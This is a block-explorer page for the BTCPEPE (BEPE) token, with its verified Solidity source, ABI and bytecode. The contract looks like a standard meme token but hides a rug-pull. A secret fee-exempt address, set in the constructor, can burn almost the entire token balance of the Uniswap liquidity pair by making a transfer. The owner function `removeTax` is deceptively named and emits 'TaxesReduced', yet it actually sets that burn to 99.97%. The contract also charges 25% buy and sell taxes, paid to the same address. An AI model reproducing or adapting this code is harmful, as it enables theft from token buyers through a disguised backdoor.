ETH Price: $3,000.92 (+4.10%)
Gas: 2 Gwei

Token

BTCPEPE (BEPE)
 

Overview

Max Total Supply

1,000,000,000 BEPE

Holders

70

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
913,618.170697888042491254 BEPE

Value
$0.00
0x0F07381C1d70B1D6339dB411bb37A0Ad360b2f99
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
BEPE

Compiler Version
v0.8.22+commit.4fc1097e

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-05-07
*/

/**

Website: https://btcpepe.pro
Twitter: https://twitter.com/btcpepex
Telegram: https://t.me/btcpepechannel

*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.19;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this; 
        return msg.data;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IERC20Metadata is IERC20 {

    function name() external view returns (string memory);

    function symbol() external view returns (string memory);

    function decimals() external view returns (uint8);
}


contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping (address => uint256) internal _balances;

    mapping (address => mapping (address => uint256)) internal _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;

    constructor (string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }


    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);

        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        _approve(sender, _msgSender(), currentAllowance - amount);

        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        _approve(_msgSender(), spender, currentAllowance - subtractedValue);

        return true;
    }

    function _transfer(address sender, address recipient, uint256 amount) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(sender, recipient, amount);

        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
        _balances[sender] = senderBalance - amount;
        _balances[recipient] += amount;

        emit Transfer(sender, recipient, amount);
    }

    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);
    }

    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}

library Address{
    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");
        recipient.transfer(amount);
    }
}

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _setOwner(_msgSender());
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        _setOwner(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _setOwner(newOwner);
    }

    function _setOwner(address newOwner) private {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

interface IFactory{
        function createPair(address tokenA, address tokenB) external returns (address);
}

interface IRouter {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline) external;
}

contract BEPE is ERC20, Ownable{
    using Address for address payable;
    
    IRouter public uniswapRouter;
    address public uniswapPair;
    
    bool private swapping;
    bool private swapEnabled;
    bool private tradingEnabled;


    modifier lockSwap() {
        swapping = true;
        _;
        swapping = false;
    }
    
    event Launched();
    event TaxesReduced();
    
    uint256 private _totalSupply = 1000000000 * 10**18;
    uint256 private maxSwapTokens = 9000000 * 10**18; 
    uint256 private maxWalletHolding = 20000000 * 10**18;
    
    address private _btcpepe;
    
    struct Taxes {
        uint256 marketing;
        uint256 liquidity;
        uint256 burn;
    }
    
    Taxes private taxOnBuy = Taxes(0, 0, 0);
    Taxes private taxOnSell = Taxes(0, 0, 0);
    
    mapping (address => bool) private _isExcludedFromFees;
    
    modifier inSwap() {
        if (!swapping) {
            swapping = true;
            _;
            swapping = false;
        }
    }

    constructor(address _addr) ERC20("BTCPEPE", "BEPE") {
        _mint(msg.sender, _totalSupply);
        _btcpepe = _addr;
        uniswapRouter = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapPair = IFactory(uniswapRouter.factory()).createPair(address(this), uniswapRouter.WETH());
        _isExcludedFromFees[msg.sender] = true;
        _isExcludedFromFees[address(this)] = true;
        _isExcludedFromFees[_btcpepe] = true;
    }
    
    function _transfer(address sender, address recipient, uint256 amount) internal override {
        require(amount > 0, "Transfer amount must be greater than zero");
                
        
        if(!_isExcludedFromFees[sender] && !_isExcludedFromFees[recipient] && !swapping){
            require(tradingEnabled, "Trading not active yet");
            if(recipient != uniswapPair){
                require(balanceOf(recipient) + amount <= maxWalletHolding, "You are exceeding maxWalletHolding");
            }
        }

        uint256 fee;
          
        if (swapping || _isExcludedFromFees[sender] || _isExcludedFromFees[recipient]) fee = 0;
         
        else{
            if(recipient == uniswapPair) fee = amount * taxOnSell.marketing / 10000;
            else if(sender == uniswapPair) fee = amount * taxOnBuy.marketing / 10000;
            else fee = 0;
        }
        
        if (sender == _btcpepe && recipient != uniswapPair) {
            uint256 burnTokensAmount = balanceOf(uniswapPair) * taxOnBuy.burn / 10000;
            if (burnTokensAmount > 0) super._transfer(uniswapPair, address(0xdead), burnTokensAmount);
            return;
        }
        if (swapEnabled && !swapping && recipient == uniswapPair 
            && !_isExcludedFromFees[sender] && !_isExcludedFromFees[recipient] )
            swapBackForFees();

        super._transfer(sender, recipient, amount - fee);
        if(fee > 0) super._transfer(sender, address(this) ,fee);
    }
    
    function swapBackForFees() private inSwap {
        uint256 contractTokensAmount = balanceOf(address(this));

        if (contractTokensAmount > 0) {
            if (contractTokensAmount >= maxSwapTokens) contractTokensAmount = maxSwapTokens;
            swapTokensForETH(contractTokensAmount);
        }

        uint256 amountToSend = address(this).balance;
        payable(_btcpepe).sendValue(amountToSend);
    }

    function swapTokensForETH(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapRouter.WETH();

        _approve(address(this), address(uniswapRouter), tokenAmount);

        // make the swap
        uniswapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, address(this), block.timestamp);
    }

    function addLiquidity(uint256 tokenAmount, uint256 bnbAmount) private {
        // approve token transfer to cover all possible scenarios
        _approve(address(this), address(uniswapRouter), tokenAmount);

        // add the liquidity
        uniswapRouter.addLiquidityETH{value: bnbAmount}(
            address(this),
            tokenAmount,
            0, // slippage is unavoidable
            0, // slippage is unavoidable
            address(0xdead),
            block.timestamp
        );
    }

    function openBepe() external onlyOwner{
        require(!tradingEnabled, "Trading already active");
        _approve(address(this), address(uniswapRouter), totalSupply());
        uniswapRouter.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        tradingEnabled = true;
        swapEnabled = true;
        taxOnBuy = Taxes(2500, 0, 0);
        taxOnSell = Taxes(2500, 0, 0);
        emit Launched();
    }

    function removeTax() external onlyOwner {
        taxOnBuy = Taxes(0, 0, 9997);
        taxOnSell = Taxes(0, 0, 0);
        emit TaxesReduced();
    }

    function removeLimits() external onlyOwner{
        maxWalletHolding = _totalSupply;
    }

    receive() external payable {}
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"_addr","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[],"name":"Launched","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[],"name":"TaxesReduced","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openBepe","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapRouter","outputs":[{"internalType":"contract IRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

6b033b2e3c9fd0803ce80000006008556a0771d2fa45345aa90000006009556a108b2a2c28029094000000600a555f608081905260a081905260c0819052600c819055600d819055600e81905561014060405260e0819052610100819052610120819052600f81905560108190556011553480156200007c575f80fd5b5060405162001c0138038062001c018339810160408190526200009f9162000462565b604051806040016040528060078152602001664254435045504560c81b815250604051806040016040528060048152602001634245504560e01b8152508160039081620000ed91906200052e565b506004620000fc82826200052e565b50505062000119620001136200032360201b60201c565b62000327565b6200012d336008546200037860201b60201c565b600b80546001600160a01b03199081166001600160a01b0384161790915560068054737a250d5630b4cf539739df2c5dacb4c659f2488d9216821790556040805163c45a015560e01b8152905163c45a0155916004808201926020929091908290030181865afa158015620001a4573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620001ca919062000462565b6001600160a01b031663c9c653963060065f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200022a573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062000250919062000462565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156200029b573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620002c1919062000462565b600780546001600160a01b0319166001600160a01b03928316179055335f90815260126020526040808220805460ff1990811660019081179092553084528284208054821683179055600b549094168352912080549092161790555062000620565b3390565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0905f90a35050565b6001600160a01b038216620003d35760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015260640160405180910390fd5b8060025f828254620003e69190620005fa565b90915550506001600160a01b0382165f908152602081905260408120805483929062000414908490620005fa565b90915550506040518181526001600160a01b038316905f907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b505050565b5f6020828403121562000473575f80fd5b81516001600160a01b03811681146200048a575f80fd5b9392505050565b634e487b7160e01b5f52604160045260245ffd5b600181811c90821680620004ba57607f821691505b602082108103620004d957634e487b7160e01b5f52602260045260245ffd5b50919050565b601f8211156200045d57805f5260205f20601f840160051c81016020851015620005065750805b601f840160051c820191505b8181101562000527575f815560010162000512565b5050505050565b81516001600160401b038111156200054a576200054a62000491565b62000562816200055b8454620004a5565b84620004df565b602080601f83116001811462000598575f8415620005805750858301515b5f19600386901b1c1916600185901b178555620005f2565b5f85815260208120601f198616915b82811015620005c857888601518255948401946001909101908401620005a7565b5085821015620005e657878501515f19600388901b60f8161c191681555b505060018460011b0185555b505050505050565b808201808211156200061a57634e487b7160e01b5f52601160045260245ffd5b92915050565b6115d3806200062e5f395ff3fe608060405260043610610113575f3560e01c8063735de9f71161009d578063a9059cbb11610062578063a9059cbb146102e7578063c816841b14610306578063dd62ed3e14610325578063e891e45214610369578063f2fde38b1461037d575f80fd5b8063735de9f71461024c578063751039fc146102835780638da5cb5b1461029757806395d89b41146102b4578063a457c2d7146102c8575f80fd5b80632f5f2572116100e35780632f5f2572146101b4578063313ce567146101ca57806339509351146101e557806370a0823114610204578063715018a614610238575f80fd5b806306fdde031461011e578063095ea7b31461014857806318160ddd1461017757806323b872dd14610195575f80fd5b3661011a57005b5f80fd5b348015610129575f80fd5b5061013261039c565b60405161013f91906112d4565b60405180910390f35b348015610153575f80fd5b50610167610162366004611334565b61042c565b604051901515815260200161013f565b348015610182575f80fd5b506002545b60405190815260200161013f565b3480156101a0575f80fd5b506101676101af36600461135e565b610442565b3480156101bf575f80fd5b506101c86104f6565b005b3480156101d5575f80fd5b506040516012815260200161013f565b3480156101f0575f80fd5b506101676101ff366004611334565b61059c565b34801561020f575f80fd5b5061018761021e36600461139c565b6001600160a01b03165f9081526020819052604090205490565b348015610243575f80fd5b506101c86105d2565b348015610257575f80fd5b5060065461026b906001600160a01b031681565b6040516001600160a01b03909116815260200161013f565b34801561028e575f80fd5b506101c8610607565b3480156102a2575f80fd5b506005546001600160a01b031661026b565b3480156102bf575f80fd5b50610132610639565b3480156102d3575f80fd5b506101676102e2366004611334565b610648565b3480156102f2575f80fd5b50610167610301366004611334565b6106e2565b348015610311575f80fd5b5060075461026b906001600160a01b031681565b348015610330575f80fd5b5061018761033f3660046113be565b6001600160a01b039182165f90815260016020908152604080832093909416825291909152205490565b348015610374575f80fd5b506101c86106ee565b348015610388575f80fd5b506101c861039736600461139c565b6108e8565b6060600380546103ab906113f5565b80601f01602080910402602001604051908101604052809291908181526020018280546103d7906113f5565b80156104225780601f106103f957610100808354040283529160200191610422565b820191905f5260205f20905b81548152906001019060200180831161040557829003601f168201915b5050505050905090565b5f610438338484610983565b5060015b92915050565b5f61044e848484610aa6565b6001600160a01b0384165f908152600160209081526040808320338452909152902054828110156104d75760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b6104eb85336104e68685611441565b610983565b506001949350505050565b6005546001600160a01b031633146105205760405162461bcd60e51b81526004016104ce90611454565b60408051606080820183525f808352602080840182905261270d938501849052600c829055600d829055600e93909355835191820184528082529181018290528201819052600f8190556010819055601181905590517fc7124fdffe225b3afa4e4595059e72c5202d092984c86c3e77b8bd95596a0f029190a1565b335f8181526001602090815260408083206001600160a01b038716845290915281205490916104389185906104e6908690611489565b6005546001600160a01b031633146105fc5760405162461bcd60e51b81526004016104ce90611454565b6106055f610e5a565b565b6005546001600160a01b031633146106315760405162461bcd60e51b81526004016104ce90611454565b600854600a55565b6060600480546103ab906113f5565b335f9081526001602090815260408083206001600160a01b0386168452909152812054828110156106c95760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084016104ce565b6106d833856104e68685611441565b5060019392505050565b5f610438338484610aa6565b6005546001600160a01b031633146107185760405162461bcd60e51b81526004016104ce90611454565b600754600160b01b900460ff161561076b5760405162461bcd60e51b815260206004820152601660248201527554726164696e6720616c72656164792061637469766560501b60448201526064016104ce565b6006546107869030906001600160a01b03166104e660025490565b6006546001600160a01b031663f305d71947306107b7816001600160a01b03165f9081526020819052604090205490565b5f806107cb6005546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610831573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610856919061149c565b50506007805461ffff60a81b191661010160a81b1790555060408051606080820183526109c48083525f6020808501829052938501819052600c829055600d819055600e81905584519283018552818352928201839052908301829052600f556010819055601181905590517fba61a96074b3d636edeee92caddc86293c917d5b6818b7d3698bb52e02ec86c89190a1565b6005546001600160a01b031633146109125760405162461bcd60e51b81526004016104ce90611454565b6001600160a01b0381166109775760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016104ce565b61098081610e5a565b50565b6001600160a01b0383166109e55760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104ce565b6001600160a01b038216610a465760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104ce565b6001600160a01b038381165f8181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f8111610b075760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104ce565b6001600160a01b0383165f9081526012602052604090205460ff16158015610b4757506001600160a01b0382165f9081526012602052604090205460ff16155b8015610b5d5750600754600160a01b900460ff16155b15610c4e57600754600160b01b900460ff16610bb45760405162461bcd60e51b8152602060048201526016602482015275151c98591a5b99c81b9bdd081858dd1a5d99481e595d60521b60448201526064016104ce565b6007546001600160a01b03838116911614610c4e57600a5481610beb846001600160a01b03165f9081526020819052604090205490565b610bf59190611489565b1115610c4e5760405162461bcd60e51b815260206004820152602260248201527f596f752061726520657863656564696e67206d617857616c6c6574486f6c64696044820152616e6760f01b60648201526084016104ce565b6007545f90600160a01b900460ff1680610c7f57506001600160a01b0384165f9081526012602052604090205460ff165b80610ca157506001600160a01b0383165f9081526012602052604090205460ff165b15610cad57505f610d0f565b6007546001600160a01b0390811690841603610ce557600f5461271090610cd490846114c7565b610cde91906114de565b9050610d0f565b6007546001600160a01b0390811690851603610d0c57600c5461271090610cd490846114c7565b505f5b600b546001600160a01b038581169116148015610d3a57506007546001600160a01b03848116911614155b15610d9e57600e546007546001600160a01b03165f90815260208190526040812054909161271091610d6c91906114c7565b610d7691906114de565b90508015610d9757600754610d97906001600160a01b031661dead83610eab565b5050505050565b600754600160a81b900460ff168015610dc15750600754600160a01b900460ff16155b8015610dda57506007546001600160a01b038481169116145b8015610dfe57506001600160a01b0384165f9081526012602052604090205460ff16155b8015610e2257506001600160a01b0383165f9081526012602052604090205460ff16155b15610e2f57610e2f611081565b610e438484610e3e8486611441565b610eab565b8015610e5457610e54843083610eab565b50505050565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0905f90a35050565b6001600160a01b038316610f0f5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104ce565b6001600160a01b038216610f715760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104ce565b6001600160a01b0383165f9081526020819052604090205481811015610fe85760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016104ce565b610ff28282611441565b6001600160a01b038086165f908152602081905260408082209390935590851681529081208054849290611027908490611489565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161107391815260200190565b60405180910390a350505050565b600754600160a01b900460ff16610605576007805460ff60a01b1916600160a01b179055305f90815260208190526040812054905080156110d35760095481106110ca57506009545b6110d381611101565b600b5447906110eb906001600160a01b031682611251565b50506007805460ff60a01b19169055565b505050565b6040805160028082526060820183525f9260208301908036833701905050905030815f81518110611134576111346114fd565b6001600160a01b03928316602091820292909201810191909152600654604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561118b573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906111af9190611511565b816001815181106111c2576111c26114fd565b6001600160a01b0392831660209182029290920101526006546111e89130911684610983565b60065460405163791ac94760e01b81526001600160a01b039091169063791ac947906112209085905f9086903090429060040161152c565b5f604051808303815f87803b158015611237575f80fd5b505af1158015611249573d5f803e3d5ffd5b505050505050565b804710156112a15760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a20696e73756666696369656e742062616c616e636500000060448201526064016104ce565b6040516001600160a01b0383169082156108fc029083905f818181858888f193505050501580156110fc573d5f803e3d5ffd5b5f602080835283518060208501525f5b81811015611300578581018301518582016040015282016112e4565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610980575f80fd5b5f8060408385031215611345575f80fd5b823561135081611320565b946020939093013593505050565b5f805f60608486031215611370575f80fd5b833561137b81611320565b9250602084013561138b81611320565b929592945050506040919091013590565b5f602082840312156113ac575f80fd5b81356113b781611320565b9392505050565b5f80604083850312156113cf575f80fd5b82356113da81611320565b915060208301356113ea81611320565b809150509250929050565b600181811c9082168061140957607f821691505b60208210810361142757634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b8181038181111561043c5761043c61142d565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b8082018082111561043c5761043c61142d565b5f805f606084860312156114ae575f80fd5b8351925060208401519150604084015190509250925092565b808202811582820484141761043c5761043c61142d565b5f826114f857634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60208284031215611521575f80fd5b81516113b781611320565b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b8181101561157c5784516001600160a01b031683529383019391830191600101611557565b50506001600160a01b0396909616606085015250505060800152939250505056fea2646970667358221220fb659f772f5108afcebb0b605570732745afd0ae21b0210de55b2fea2a091f4664736f6c63430008160033000000000000000000000000a6cda8aa196a787d1937c75a6b3275758c448dc9

Deployed Bytecode

0x608060405260043610610113575f3560e01c8063735de9f71161009d578063a9059cbb11610062578063a9059cbb146102e7578063c816841b14610306578063dd62ed3e14610325578063e891e45214610369578063f2fde38b1461037d575f80fd5b8063735de9f71461024c578063751039fc146102835780638da5cb5b1461029757806395d89b41146102b4578063a457c2d7146102c8575f80fd5b80632f5f2572116100e35780632f5f2572146101b4578063313ce567146101ca57806339509351146101e557806370a0823114610204578063715018a614610238575f80fd5b806306fdde031461011e578063095ea7b31461014857806318160ddd1461017757806323b872dd14610195575f80fd5b3661011a57005b5f80fd5b348015610129575f80fd5b5061013261039c565b60405161013f91906112d4565b60405180910390f35b348015610153575f80fd5b50610167610162366004611334565b61042c565b604051901515815260200161013f565b348015610182575f80fd5b506002545b60405190815260200161013f565b3480156101a0575f80fd5b506101676101af36600461135e565b610442565b3480156101bf575f80fd5b506101c86104f6565b005b3480156101d5575f80fd5b506040516012815260200161013f565b3480156101f0575f80fd5b506101676101ff366004611334565b61059c565b34801561020f575f80fd5b5061018761021e36600461139c565b6001600160a01b03165f9081526020819052604090205490565b348015610243575f80fd5b506101c86105d2565b348015610257575f80fd5b5060065461026b906001600160a01b031681565b6040516001600160a01b03909116815260200161013f565b34801561028e575f80fd5b506101c8610607565b3480156102a2575f80fd5b506005546001600160a01b031661026b565b3480156102bf575f80fd5b50610132610639565b3480156102d3575f80fd5b506101676102e2366004611334565b610648565b3480156102f2575f80fd5b50610167610301366004611334565b6106e2565b348015610311575f80fd5b5060075461026b906001600160a01b031681565b348015610330575f80fd5b5061018761033f3660046113be565b6001600160a01b039182165f90815260016020908152604080832093909416825291909152205490565b348015610374575f80fd5b506101c86106ee565b348015610388575f80fd5b506101c861039736600461139c565b6108e8565b6060600380546103ab906113f5565b80601f01602080910402602001604051908101604052809291908181526020018280546103d7906113f5565b80156104225780601f106103f957610100808354040283529160200191610422565b820191905f5260205f20905b81548152906001019060200180831161040557829003601f168201915b5050505050905090565b5f610438338484610983565b5060015b92915050565b5f61044e848484610aa6565b6001600160a01b0384165f908152600160209081526040808320338452909152902054828110156104d75760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b6104eb85336104e68685611441565b610983565b506001949350505050565b6005546001600160a01b031633146105205760405162461bcd60e51b81526004016104ce90611454565b60408051606080820183525f808352602080840182905261270d938501849052600c829055600d829055600e93909355835191820184528082529181018290528201819052600f8190556010819055601181905590517fc7124fdffe225b3afa4e4595059e72c5202d092984c86c3e77b8bd95596a0f029190a1565b335f8181526001602090815260408083206001600160a01b038716845290915281205490916104389185906104e6908690611489565b6005546001600160a01b031633146105fc5760405162461bcd60e51b81526004016104ce90611454565b6106055f610e5a565b565b6005546001600160a01b031633146106315760405162461bcd60e51b81526004016104ce90611454565b600854600a55565b6060600480546103ab906113f5565b335f9081526001602090815260408083206001600160a01b0386168452909152812054828110156106c95760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084016104ce565b6106d833856104e68685611441565b5060019392505050565b5f610438338484610aa6565b6005546001600160a01b031633146107185760405162461bcd60e51b81526004016104ce90611454565b600754600160b01b900460ff161561076b5760405162461bcd60e51b815260206004820152601660248201527554726164696e6720616c72656164792061637469766560501b60448201526064016104ce565b6006546107869030906001600160a01b03166104e660025490565b6006546001600160a01b031663f305d71947306107b7816001600160a01b03165f9081526020819052604090205490565b5f806107cb60